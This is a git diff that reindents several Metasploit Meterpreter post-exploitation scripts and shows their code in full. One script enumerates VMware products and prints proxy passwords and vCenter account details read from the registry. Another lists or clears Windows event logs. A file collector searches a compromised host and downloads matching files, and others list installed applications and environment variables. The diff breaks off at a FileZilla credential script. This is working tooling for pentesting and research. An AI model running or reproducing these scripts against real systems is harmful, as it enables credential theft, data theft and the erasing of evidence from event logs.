vum_proxyserver = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Update Manager","ProxyServer") - vum_proxyport = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Update Manager","ProxyPort") - vum_proxyuser = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Update Manager","ProxyUserName") - vum_proxypass = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Update Manager","ProxyPassword") - vum_vcentersrv = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Update Manager","VCServer") - vum_vcenterusr = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Update Manager","VCUserName") - vum_patchstore = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Update Manager","PatchStore") - vum_odbcname = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Update Manager\\DB","1") - vum_odbctype = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Update Manager\\DB","4") - vum_dbname = registry_getvaldata("HKLM\\SOFTWARE\\ODBC\\ODBC.INI\\#{vum_odbcname.chomp}","Database") - vum_dbserver = registry_getvaldata("HKLM\\SOFTWARE\\ODBC\\ODBC.INI\\#{vum_odbcname.chomp}","Server") - # vum_trustedcon = reg_getvaldata("HKLM\\SOFTWARE\\ODBC\\ODBC.INI\\#{vum_odbcname.chomp}","TrustedConnection") - # if vum_trustedcon.to_i != 1 - # vum_odbcusename = reg_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Update Manager\\DB","2") - # vum_odbcpass = reg_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Update Manager\\DB","3") - # end - print_status("\tVersion: #{vum_version}") - print_status("\tServer: #{vum_server}") - print_status("\tPatch Store: #{vum_patchstore}") - print_status("\tDatabse Type: #{vum_dbtype}") - print_status("\tUses Proxy: #{vum_useproxy}") - print_status("\tProxy User: #{vum_proxyuser}") - print_status("\tProxy Password: #{vum_proxypass}") - print_status("\tVirtual Center: #{vum_vcentersrv}") - print_status("\tVirtual Center User: #{vum_vcenterusr}") - print_status("\tProxy Server: #{vum_proxyserver}:#{vum_proxyport}") - print_status("\tDatabase Name: #{vum_dbname}") - print_status("\tDatabase Server: #{vum_dbserver}") - print_status("\tODBC Name: #{vum_odbcname}") - print_status("\tODBC Type: #{vum_odbctype}") - # print_status("\t ODBC Trusted: #{vum_trustedcon}") - # if vum_trustedcon.to_i != 1 - # print_status("\tODBC Username: #{vum_odbcusename}") - # print_status("\tODBC Password: #{vum_odbcpass}") - # end - rescue ::Exception => e - print_status("Error: #{e.class} #{e}") - end + print_status("Information about VMware Update Manager:") + begin + vum_version = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Update Manager","InstalledVersion") + vum_server = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Update Manager","VUMServer") + vum_dbtype = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Update Manager","DBServerType") + vum_direct2web = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Update Manager","DirectWebAccess") + vum_useproxy = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Update Manager","UseProxy") + vum_proxyserver = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Update Manager","ProxyServer") + vum_proxyport = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Update Manager","ProxyPort") + vum_proxyuser = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Update Manager","ProxyUserName") + vum_proxypass = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Update Manager","ProxyPassword") + vum_vcentersrv = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Update Manager","VCServer") + vum_vcenterusr = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Update Manager","VCUserName") + vum_patchstore = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Update Manager","PatchStore") + vum_odbcname = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Update Manager\\DB","1") + vum_odbctype = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Update Manager\\DB","4") + vum_dbname = registry_getvaldata("HKLM\\SOFTWARE\\ODBC\\ODBC.INI\\#{vum_odbcname.chomp}","Database") + vum_dbserver = registry_getvaldata("HKLM\\SOFTWARE\\ODBC\\ODBC.INI\\#{vum_odbcname.chomp}","Server") + # vum_trustedcon = reg_getvaldata("HKLM\\SOFTWARE\\ODBC\\ODBC.INI\\#{vum_odbcname.chomp}","TrustedConnection") + # if vum_trustedcon.to_i != 1 + # vum_odbcusename = reg_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Update Manager\\DB","2") + # vum_odbcpass = reg_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Update Manager\\DB","3") + # end + print_status("\tVersion: #{vum_version}") + print_status("\tServer: #{vum_server}") + print_status("\tPatch Store: #{vum_patchstore}") + print_status("\tDatabse Type: #{vum_dbtype}") + print_status("\tUses Proxy: #{vum_useproxy}") + print_status("\tProxy User: #{vum_proxyuser}") + print_status("\tProxy Password: #{vum_proxypass}") + print_status("\tVirtual Center: #{vum_vcentersrv}") + print_status("\tVirtual Center User: #{vum_vcenterusr}") + print_status("\tProxy Server: #{vum_proxyserver}:#{vum_proxyport}") + print_status("\tDatabase Name: #{vum_dbname}") + print_status("\tDatabase Server: #{vum_dbserver}") + print_status("\tODBC Name: #{vum_odbcname}") + print_status("\tODBC Type: #{vum_odbctype}") + # print_status("\t ODBC Trusted: #{vum_trustedcon}") + # if vum_trustedcon.to_i != 1 + # print_status("\tODBC Username: #{vum_odbcusename}") + # print_status("\tODBC Password: #{vum_odbcpass}") + # end + rescue ::Exception => e + print_status("Error: #{e.class} #{e}") + end end def enum_vdm - print_status("Information about VMware VDM Broker:") - vdm_version = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware VDM","ProductVersion") - print_status("\tVersion: #{vdm_version}") + print_status("Information about VMware VDM Broker:") + vdm_version = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware VDM","ProductVersion") + print_status("\tVersion: #{vdm_version}") end def enum_powercli - print_status("Information about PowerCLI:") - pcli_version = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware vSphere PowerCLI","InstalledVersion") - pcli_install_path = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware vSphere PowerCLI","InstallPath") - begin - pcli_poweshell_policy = registry_getvaldata("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds\\WindowsPowerShell","ExecutionPolicy") - rescue - pcli_poweshell_policy = "Restricted" - end - print_status("\tVersion: #{pcli_version}") - print_status("\tInstalled Pat: #{pcli_install_path}") - print_status("\tPowershell Execution Policy: #{pcli_poweshell_policy}") + print_status("Information about PowerCLI:") + pcli_version = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware vSphere PowerCLI","InstalledVersion") + pcli_install_path = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware vSphere PowerCLI","InstallPath") + begin + pcli_poweshell_policy = registry_getvaldata("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds\\WindowsPowerShell","ExecutionPolicy") + rescue + pcli_poweshell_policy = "Restricted" + end + print_status("\tVersion: #{pcli_version}") + print_status("\tInstalled Pat: #{pcli_install_path}") + print_status("\tPowershell Execution Policy: #{pcli_poweshell_policy}") end #Function to enumerate the users if running as SYSTEM def enum_users - os = @client.sys.config.sysinfo['OS'] - users = [] - user = @client.sys.config.getuid - path4users = "" - sysdrv = @client.fs.file.expand_path("%SystemDrive%") + os = @client.sys.config.sysinfo['OS'] + users = [] + user = @client.sys.config.getuid + path4users = "" + sysdrv = @client.fs.file.expand_path("%SystemDrive%") - if os =~ /7|Vista|2008/ - path4users = sysdrv + "\\users\\" - profilepath = "\\AppData\\Local\\VMware\\" - else - path4users = sysdrv + "\\Documents and Settings\\" - profilepath = "\\Application Data\\VMware\\" - end + if os =~ /7|Vista|2008/ + path4users = sysdrv + "\\users\\" + profilepath = "\\AppData\\Local\\VMware\\" + else + path4users = sysdrv + "\\Documents and Settings\\" + profilepath = "\\Application Data\\VMware\\" + end - if user == "NT AUTHORITY\\SYSTEM" - print_status("Running as SYSTEM extracting user list..") - @client.fs.dir.foreach(path4users) do |u| - userinfo = {} - next if u =~ /^(\.|\.\.|All Users|Default|Default User|Public|desktop.ini|LocalService|NetworkService)$/ - userinfo['username'] = u - userinfo['userappdata'] = path4users + u + profilepath - users << userinfo - end - else - userinfo = {} - uservar = @client.fs.file.expand_path("%USERNAME%") - userinfo['username'] = uservar - userinfo['userappdata'] = path4users + uservar + profilepath - users << userinfo - end - return users + if user == "NT AUTHORITY\\SYSTEM" + print_status("Running as SYSTEM extracting user list..") + @client.fs.dir.foreach(path4users) do |u| + userinfo = {} + next if u =~ /^(\.|\.\.|All Users|Default|Default User|Public|desktop.ini|LocalService|NetworkService)$/ + userinfo['username'] = u + userinfo['userappdata'] = path4users + u + profilepath + users << userinfo + end + else + userinfo = {} + uservar = @client.fs.file.expand_path("%USERNAME%") + userinfo['username'] = uservar + userinfo['userappdata'] = path4users + uservar + profilepath + users << userinfo + end + return users end def enum_vihosupdt - hosts = [] - print_status("Information about VMware vSphere Host Update Utility:") - enum_users.each do |u| - print_status("\tESX/ESXi Hosts added for Updates for user #{u['username']}:") - begin - @client.fs.dir.foreach(u['userappdata']+"VIU\\hosts\\") do |vmdir| - next if vmdir =~ /^(\.|\.\.)$/ - print_status("\t#{vmdir}") - end - rescue - end - end + hosts = [] + print_status("Information about VMware vSphere Host Update Utility:") + enum_users.each do |u| + print_status("\tESX/ESXi Hosts added for Updates for user #{u['username']}:") + begin + @client.fs.dir.foreach(u['userappdata']+"VIU\\hosts\\") do |vmdir| + next if vmdir =~ /^(\.|\.\.)$/ + print_status("\t#{vmdir}") + end + rescue + end + end end def enum_vmwarewrk - config = "" - name = "" - print_status("Enumerating VMware Workstation VM's:") - fav_file = "" - enum_users.each do |u| - print_status("\tVM's for user #{u['username']}:") - path = u['userappdata'].gsub(/Local/,"Roaming") - account_file = @client.fs.file.new(path + "\\favorites.vmls", "rb") - until account_file.eof? - fav_file << account_file.read - end - end - fav_file.each_line do |l| + config = "" + name = "" + print_status("Enumerating VMware Workstation VM's:") + fav_file = "" + enum_users.each do |u| + print_status("\tVM's for user #{u['username']}:") + path = u['userappdata'].gsub(/Local/,"Roaming") + account_file = @client.fs.file.new(path + "\\favorites.vmls", "rb") + until account_file.eof? + fav_file << account_file.read + end + end + fav_file.each_line do |l| - if l =~ /config/ - print_status("\tConfiguration File: #{l.scan(/vmlist\d*.config \= (\".*\")/)}") - end - if l =~ /Name/ - print_status("\tVM Name: #{l.scan(/vmlist\d*.DisplayName \= (\".*\")/)}") - print_status("") - end - end + if l =~ /config/ + print_status("\tConfiguration File: #{l.scan(/vmlist\d*.config \= (\".*\")/)}") + end + if l =~ /Name/ + print_status("\tVM Name: #{l.scan(/vmlist\d*.DisplayName \= (\".*\")/)}") + print_status("") + end + end end if client.platform =~ /win32|win64/ - if check_vmsoft - vmware_products = check_prods() - if vmware_products.include?("VMware VirtualCenter") - enum_vcenter - end - if vmware_products.include?("VMware Virtual Infrastructure Client") - enum_viclient - end - if vmware_products.include?("VMware Update Manager") - enum_vum - end + if check_vmsoft + vmware_products = check_prods() + if vmware_products.include?("VMware VirtualCenter") + enum_vcenter + end + if vmware_products.include?("VMware Virtual Infrastructure Client") + enum_viclient + end + if vmware_products.include?("VMware Update Manager") + enum_vum + end - if vmware_products.include?("VMware VDM") - enum_vdm - end - if vmware_products.include?("VMware vSphere PowerCLI") - enum_powercli - end - if vmware_products.include?("VMware vSphere Host Update Utility 4.0") - enum_vihosupdt - end - if vmware_products.include?("VMware Workstation") - enum_vmwarewrk - end - else - print_status("No VMware Products appear to be installed in this host") - end + if vmware_products.include?("VMware VDM") + enum_vdm + end + if vmware_products.include?("VMware vSphere PowerCLI") + enum_powercli + end + if vmware_products.include?("VMware vSphere Host Update Utility 4.0") + enum_vihosupdt + end + if vmware_products.include?("VMware Workstation") + enum_vmwarewrk + end + else + print_status("No VMware Products appear to be installed in this host") + end else - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end diff --git a/scripts/meterpreter/event_manager.rb b/scripts/meterpreter/event_manager.rb index 9ddcd85a05..18fcaa8595 100644 --- a/scripts/meterpreter/event_manager.rb +++ b/scripts/meterpreter/event_manager.rb @@ -13,13 +13,13 @@ filter = '\d*' filter_string = "*" meter_type = client.platform opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu" ], - "-i" => [ false, "Show information about Event Logs on the System and their configuration"], - "-l" => [ true, "List a given Event Log."], - "-c" => [ true, "Clear a given Event Log (or ALL if no argument specified)"], - "-f" => [ true, "Event ID to filter events on"], - "-s" => [ true, "Save logs to local CSV file, optionally specify alternate folder in which to save logs"], - "-p" => [ false, "Supress printing filtered logs to screen"] + "-h" => [ false, "Help menu" ], + "-i" => [ false, "Show information about Event Logs on the System and their configuration"], + "-l" => [ true, "List a given Event Log."], + "-c" => [ true, "Clear a given Event Log (or ALL if no argument specified)"], + "-f" => [ true, "Event ID to filter events on"], + "-s" => [ true, "Save logs to local CSV file, optionally specify alternate folder in which to save logs"], + "-p" => [ false, "Supress printing filtered logs to screen"] ) @@ -28,171 +28,171 @@ opts = Rex::Parser::Arguments.new( # Usage Message Function #------------------------------------------------------------------------------- def usage(opts) - print_line "Meterpreter Script for Windows Event Log Query and Clear." - print_line(opts.usage) - raise Rex::Script::Completed + print_line "Meterpreter Script for Windows Event Log Query and Clear." + print_line(opts.usage) + raise Rex::Script::Completed end # Wrong Meterpreter Version Message Function #------------------------------------------------------------------------------- def wrong_meter_version(meter = meter_type) - print_error("#{meter} version of Meterpreter is not supported with this script!") - raise Rex::Script::Completed + print_error("#{meter} version of Meterpreter is not supported with this script!") + raise Rex::Script::Completed end # Function for Enumerating EventLogs #------------------------------------------------------------------------------- def get_log_details - logs_detail = Array.new + logs_detail = Array.new - eventlog_list.each do |log_name| + eventlog_list.each do |log_name| - # Create a hash to store the log info in (and throw default info in) - log_detail = Hash.new - log_detail[:name] = log_name - log_detail[:retention] = "Disabled" - log_detail[:size] = 0 - log_detail[:number_of_records] = 0 + # Create a hash to store the log info in (and throw default info in) + log_detail = Hash.new + log_detail[:name] = log_name + log_detail[:retention] = "Disabled" + log_detail[:size] = 0 + log_detail[:number_of_records] = 0 - key = "HKLM\\SYSTEM\\CurrentControlSet\\Services\\" - if @client.sys.config.sysinfo['OS'] =~ /Windows 2003|.Net|XP|2000/ - key = "#{key}Eventlog" - else - key = "#{key}eventlog" - end + key = "HKLM\\SYSTEM\\CurrentControlSet\\Services\\" + if @client.sys.config.sysinfo['OS'] =~ /Windows 2003|.Net|XP|2000/ + key = "#{key}Eventlog" + else + key = "#{key}eventlog" + end - begin - unless (registry_getvaldata("#{key}\\#{log_name}","Retention") == 0) then log_detail[:retention] = "Disabled" end - log_detail[:size] = registry_getvaldata("#{key}\\#{log_name}","MaxSize") + begin + unless (registry_getvaldata("#{key}\\#{log_name}","Retention") == 0) then log_detail[:retention] = "Disabled" end + log_detail[:size] = registry_getvaldata("#{key}\\#{log_name}","MaxSize") - # Open the event log - eventlog = @client.sys.eventlog.open(log_name) - log_detail[:num_of_records] = eventlog.length - rescue - log_detail[:num_of_records] = "Access Denied" - end + # Open the event log + eventlog = @client.sys.eventlog.open(log_name) + log_detail[:num_of_records] = eventlog.length + rescue + log_detail[:num_of_records] = "Access Denied" + end - logs_detail << log_detail - end + logs_detail << log_detail + end - return logs_detail + return logs_detail end # Function for Printing Event Log Details #------------------------------------------------------------------------------- def print_log_details - print_status("Retriving Event Log Configuration") - tbl = Rex::Ui::Text::Table.new( - 'Header' => "Event Logs on System", - 'Indent' => 1, - 'Columns' => [ - "Name", - "Retention", - "Maximum Size", - "Records" - ]) + print_status("Retriving Event Log Configuration") + tbl = Rex::Ui::Text::Table.new( + 'Header' => "Event Logs on System", + 'Indent' => 1, + 'Columns' => [ + "Name", + "Retention", + "Maximum Size", + "Records" + ]) - eventlog_details = get_log_details + eventlog_details = get_log_details - eventlog_details.each do |log_detail| - tbl << [log_detail[:name],log_detail[:retention],"#{log_detail[:size]}K",log_detail[:num_of_records]] - end + eventlog_details.each do |log_detail| + tbl << [log_detail[:name],log_detail[:retention],"#{log_detail[:size]}K",log_detail[:num_of_records]] + end - print_line("\n" + tbl.to_s + "\n") + print_line("\n" + tbl.to_s + "\n") end # Function for doings queries of EventLogs #------------------------------------------------------------------------------- def list_logs(eventlog_name,filter,filter_string,logs,local_log,sup_print) - begin - event_data = "" - csv_data = "EventID,Date,Data\n" - log = @client.sys.eventlog.open(eventlog_name) - log.each_backwards do |e| - if e.eventid.to_s =~ /#{filter}/ - if not sup_print - print_status("EventID: #{e.eventid}") - print_status("Date: #{e.generated}") - print_status("Data:") - e.strings.each do |l| - l.split("\r\n").each do |ml| - print_status("\t#{ml.chomp}") - event_data << " #{ml.chomp}" - end - end - print_status - end - csv_data << "#{e.eventid},#{e.generated},\"#{event_data}\"\n" - event_data = "" - end - end - rescue - print_error("Failed to Open Event Log #{eventlog_name}") - raise Rex::Script::Completed - end + begin + event_data = "" + csv_data = "EventID,Date,Data\n" + log = @client.sys.eventlog.open(eventlog_name) + log.each_backwards do |e| + if e.eventid.to_s =~ /#{filter}/ + if not sup_print + print_status("EventID: #{e.eventid}") + print_status("Date: #{e.generated}") + print_status("Data:") + e.strings.each do |l| + l.split("\r\n").each do |ml| + print_status("\t#{ml.chomp}") + event_data << " #{ml.chomp}" + end + end + print_status + end + csv_data << "#{e.eventid},#{e.generated},\"#{event_data}\"\n" + event_data = "" + end + end + rescue + print_error("Failed to Open Event Log #{eventlog_name}") + raise Rex::Script::Completed + end - if local_log - log_file = File.join(logs, "#{eventlog_name}.csv") - print_good("CSV File saved to #{log_file}") - file_local_write(log_file,csv_data) - end + if local_log + log_file = File.join(logs, "#{eventlog_name}.csv") + print_good("CSV File saved to #{log_file}") + file_local_write(log_file,csv_data) + end end # Function for clearing EventLogs #------------------------------------------------------------------------------- def clear_logs(log_name=nil) - log_names = [] - if log_name.nil? - log_names = eventlog_list - else - log_names << log_name - end + log_names = [] + if log_name.nil? + log_names = eventlog_list + else + log_names << log_name + end - log_names.each do |name| - begin - print_status("Clearing #{name}") - event_log = @client.sys.eventlog.open(name) - event_log.clear - print_status("Event Log #{name} Cleared!") - rescue - print_error("Failed to Clear #{name}, Access Denied") - end - end + log_names.each do |name| + begin + print_status("Clearing #{name}") + event_log = @client.sys.eventlog.open(name) + event_log.clear + print_status("Event Log #{name} Cleared!") + rescue + print_error("Failed to Clear #{name}, Access Denied") + end + end - return log_names + return log_names end ################## Main ################## opts.parse(args) { |opt, idx, val| - case opt - when "-h" - usage(opts) - when "-i" - print_logs = true - print_log_details - raise Rex::Script::Completed - when "-c" - clear_logs = true - eventlog_name = val - when "-l" - list_logs = true - eventlog_name = val - when "-f" - filter = val - when "-s" - local_log = true - if File.directory?(val) - local_log_path = val - else - print_error("Log folder #{val} does not exist!") - raise Rex::Script::Completed - end - when "-p" - supress_print = true - end + case opt + when "-h" + usage(opts) + when "-i" + print_logs = true + print_log_details + raise Rex::Script::Completed + when "-c" + clear_logs = true + eventlog_name = val + when "-l" + list_logs = true + eventlog_name = val + when "-f" + filter = val + when "-s" + local_log = true + if File.directory?(val) + local_log_path = val + else + print_error("Log folder #{val} does not exist!") + raise Rex::Script::Completed + end + when "-p" + supress_print = true + end } # Check for Version of Meterpreter @@ -201,7 +201,7 @@ wrong_meter_version(meter_type) if meter_type !~ /win32|win64/i # Print usage & exit if the user didn't specify an action # to default to just running for all logs) if !list_logs and !clear_logs and !print_logs - usage(opts) + usage(opts) end # Log Folder Creation @@ -214,31 +214,31 @@ filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S") # Create a directory for any local logging if the user desires if local_log - if local_log_path - logs = ::File.join(local_log_path, Rex::FileUtils.clean_path(host + filenameinfo) ) - else - logs = ::File.join(Msf::Config.log_directory, "scripts", 'event_manager', Rex::FileUtils.clean_path(host + filenameinfo) ) - end + if local_log_path + logs = ::File.join(local_log_path, Rex::FileUtils.clean_path(host + filenameinfo) ) + else + logs = ::File.join(Msf::Config.log_directory, "scripts", 'event_manager', Rex::FileUtils.clean_path(host + filenameinfo) ) + end - ::FileUtils.mkdir_p(logs) + ::FileUtils.mkdir_p(logs) end # List the logs if the user desires if list_logs and eventlog_name - list_logs(eventlog_name,filter,filter_string,logs,local_log,supress_print) + list_logs(eventlog_name,filter,filter_string,logs,local_log,supress_print) else - print_error("You must specify and eventlog to query!") + print_error("You must specify and eventlog to query!") end # Finally, clear the specified logs if the user desires if clear_logs - if eventlog_name - clear_logs(eventlog_name) - else - eventlog_list.each do |eventlog_name| - print_status eventlog_name + ": " - clear_logs(eventlog_name) - end - end + if eventlog_name + clear_logs(eventlog_name) + else + eventlog_list.each do |eventlog_name| + print_status eventlog_name + ": " + clear_logs(eventlog_name) + end + end end diff --git a/scripts/meterpreter/file_collector.rb b/scripts/meterpreter/file_collector.rb index 30e8cb40b2..4ac88d6f56 100644 --- a/scripts/meterpreter/file_collector.rb +++ b/scripts/meterpreter/file_collector.rb @@ -8,73 +8,73 @@ output_file = nil recurse = false logs = nil @opts = Rex::Parser::Arguments.new( - "-h" => [false, "Help menu." ], - "-i" => [true, "Input file with list of files to download, one per line."], - "-d" => [true, "Directory to start search on, search will be recursive."], - "-f" => [true, "Search blobs separated by a |."], - "-o" => [true, "Output File to save the full path of files found."], - "-r" => [false, "Search subdirectories."], - "-l" => [true, "Location where to save the files."] + "-h" => [false, "Help menu." ], + "-i" => [true, "Input file with list of files to download, one per line."], + "-d" => [true, "Directory to start search on, search will be recursive."], + "-f" => [true, "Search blobs separated by a |."], + "-o" => [true, "Output File to save the full path of files found."], + "-r" => [false, "Search subdirectories."], + "-l" => [true, "Location where to save the files."] ) # Function for displaying help message def usage - print_line "Meterpreter Script for searching and downloading files that" - print_line "match a specific pattern. First save files to a file, edit and" - print_line("use that same file to download the choosen files.") - print_line(@opts.usage) - raise Rex::Script::Completed + print_line "Meterpreter Script for searching and downloading files that" + print_line "match a specific pattern. First save files to a file, edit and" + print_line("use that same file to download the choosen files.") + print_line(@opts.usage) + raise Rex::Script::Completed end # Check that we are running under the right type of Meterpreter if client.platform =~ /win32|win64/ - # Parse the options - if args.length > 0 - @opts.parse(args) { |opt, idx, val| - case opt - when "-h" - usage - when "-i" - input_file = val - when "-o" - output_file = val - when "-d" - location = val - when "-f" - search_blob = val.split("|") - when "-r" - recurse = true - when "-l" - logs = val - end - } - # Search for files and save their location if specified - if search_blob.length > 0 and location - search_blob.each do |s| - print_status("Searching for #{s}") - results = @client.fs.file.search(location,s,recurse) - results.each do |file| - print_status("\t#{file['path']}\\#{file['name']} (#{file['size']} bytes)") - file_local_write(output_file,"#{file['path']}\\#{file['name']}") if output_file - end - end - end - # Read log file and download those files found - if input_file and logs - if ::File.exists?(input_file) - print_status("Reading file #{input_file}") - print_status("Downloading to #{logs}") - ::File.open(input_file, "r").each_line do |line| - print_status("\tDownloading #{line.chomp}") - @client.fs.file.download(logs, line.chomp) - end - else - print_error("File #{input_file} does not exist!") - end - end - else - usage - end + # Parse the options + if args.length > 0 + @opts.parse(args) { |opt, idx, val| + case opt + when "-h" + usage + when "-i" + input_file = val + when "-o" + output_file = val + when "-d" + location = val + when "-f" + search_blob = val.split("|") + when "-r" + recurse = true + when "-l" + logs = val + end + } + # Search for files and save their location if specified + if search_blob.length > 0 and location + search_blob.each do |s| + print_status("Searching for #{s}") + results = @client.fs.file.search(location,s,recurse) + results.each do |file| + print_status("\t#{file['path']}\\#{file['name']} (#{file['size']} bytes)") + file_local_write(output_file,"#{file['path']}\\#{file['name']}") if output_file + end + end + end + # Read log file and download those files found + if input_file and logs + if ::File.exists?(input_file) + print_status("Reading file #{input_file}") + print_status("Downloading to #{logs}") + ::File.open(input_file, "r").each_line do |line| + print_status("\tDownloading #{line.chomp}") + @client.fs.file.download(logs, line.chomp) + end + else + print_error("File #{input_file} does not exist!") + end + end + else + usage + end else - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end diff --git a/scripts/meterpreter/get_application_list.rb b/scripts/meterpreter/get_application_list.rb index bdcd805351..51fd9cb278 100644 --- a/scripts/meterpreter/get_application_list.rb +++ b/scripts/meterpreter/get_application_list.rb @@ -3,61 +3,61 @@ #Options and Option Parsing opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu." ] + "-h" => [ false, "Help menu." ] ) def app_list - tbl = Rex::Ui::Text::Table.new( - 'Header' => "Installed Applications", - 'Indent' => 1, - 'Columns' => [ - "Name", - "Version" - ]) - appkeys = ['HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall', - 'HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall' ] - threadnum = 0 - a = [] - appkeys.each do |keyx86| - soft_keys = registry_enumkeys(keyx86) - if soft_keys - soft_keys.each do |k| - if threadnum < 10 - a.push(::Thread.new { - begin - dispnm = registry_getvaldata("#{keyx86}\\#{k}","DisplayName") - dispversion = registry_getvaldata("#{keyx86}\\#{k}","DisplayVersion") - if dispnm =~ /\S*/ - tbl << [dispnm,dispversion] - end - rescue - end - }) - threadnum += 1 - else - sleep(0.05) and a.delete_if {|x| not x.alive?} while not a.empty? - threadnum = 0 - end - end - end + tbl = Rex::Ui::Text::Table.new( + 'Header' => "Installed Applications", + 'Indent' => 1, + 'Columns' => [ + "Name", + "Version" + ]) + appkeys = ['HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall', + 'HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall' ] + threadnum = 0 + a = [] + appkeys.each do |keyx86| + soft_keys = registry_enumkeys(keyx86) + if soft_keys + soft_keys.each do |k| + if threadnum < 10 + a.push(::Thread.new { + begin + dispnm = registry_getvaldata("#{keyx86}\\#{k}","DisplayName") + dispversion = registry_getvaldata("#{keyx86}\\#{k}","DisplayVersion") + if dispnm =~ /\S*/ + tbl << [dispnm,dispversion] + end + rescue + end + }) + threadnum += 1 + else + sleep(0.05) and a.delete_if {|x| not x.alive?} while not a.empty? + threadnum = 0 + end + end + end - end - print_line("\n" + tbl.to_s + "\n") + end + print_line("\n" + tbl.to_s + "\n") end opts.parse(args) { |opt, idx, val| - case opt - when "-h" - print_line "Meterpreter Script for extracting a list installed applications and their version." - print_line(opts.usage) - raise Rex::Script::Completed + case opt + when "-h" + print_line "Meterpreter Script for extracting a list installed applications and their version." + print_line(opts.usage) + raise Rex::Script::Completed - end + end } if client.platform =~ /win32|win64/ - app_list + app_list else - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end diff --git a/scripts/meterpreter/get_env.rb b/scripts/meterpreter/get_env.rb index 5bc85bf89e..dde47e4782 100644 --- a/scripts/meterpreter/get_env.rb +++ b/scripts/meterpreter/get_env.rb @@ -1,7 +1,7 @@ #------------------------------------------------------------------------------- #Options and Option Parsing opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu." ] + "-h" => [ false, "Help menu." ] ) var_names = [] var_names << registry_enumvals("HKEY_CURRENT_USER\\Volatile Environment") @@ -9,34 +9,34 @@ var_names << registry_enumvals("HKEY_CURRENT_USER\\Environment") var_names << registry_enumvals("HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment") def list_env_vars(var_names) - print_status("Getting all System and User Variables") - tbl = Rex::Ui::Text::Table.new( - 'Header' => "Enviroment Variable list", - 'Indent' => 1, - 'Columns' => - [ - "Name", - "Value" - ]) - var_names.flatten.each do |v| - tbl << [v,@client.fs.file.expand_path("\%#{v}\%")] - end - print("\n" + tbl.to_s + "\n") + print_status("Getting all System and User Variables") + tbl = Rex::Ui::Text::Table.new( + 'Header' => "Enviroment Variable list", + 'Indent' => 1, + 'Columns' => + [ + "Name", + "Value" + ]) + var_names.flatten.each do |v| + tbl << [v,@client.fs.file.expand_path("\%#{v}\%")] + end + print("\n" + tbl.to_s + "\n") end opts.parse(args) { |opt, idx, val| - case opt - when "-h" - print_line "Meterpreter Script for extracting a list of all System and User environment variables." - print_line(opts.usage) - raise Rex::Script::Completed + case opt + when "-h" + print_line "Meterpreter Script for extracting a list of all System and User environment variables." + print_line(opts.usage) + raise Rex::Script::Completed - end + end } if client.platform =~ /win32|win64/ - list_env_vars(var_names) + list_env_vars(var_names) else - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end diff --git a/scripts/meterpreter/get_filezilla_creds.rb b/scripts/meterpreter/get_filezilla_creds.rb index 2944f6018e..55e6c2cd3d 100644 --- a/scripts/meterpreter/get_filezilla_creds.rb +++ b/scripts/meterpreter/get_filezilla_creds.rb @@ -4,26 +4,26 @@ require "rexml/document" #------------------------------------------------------------------------------- #Options and Option Parsing opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu." 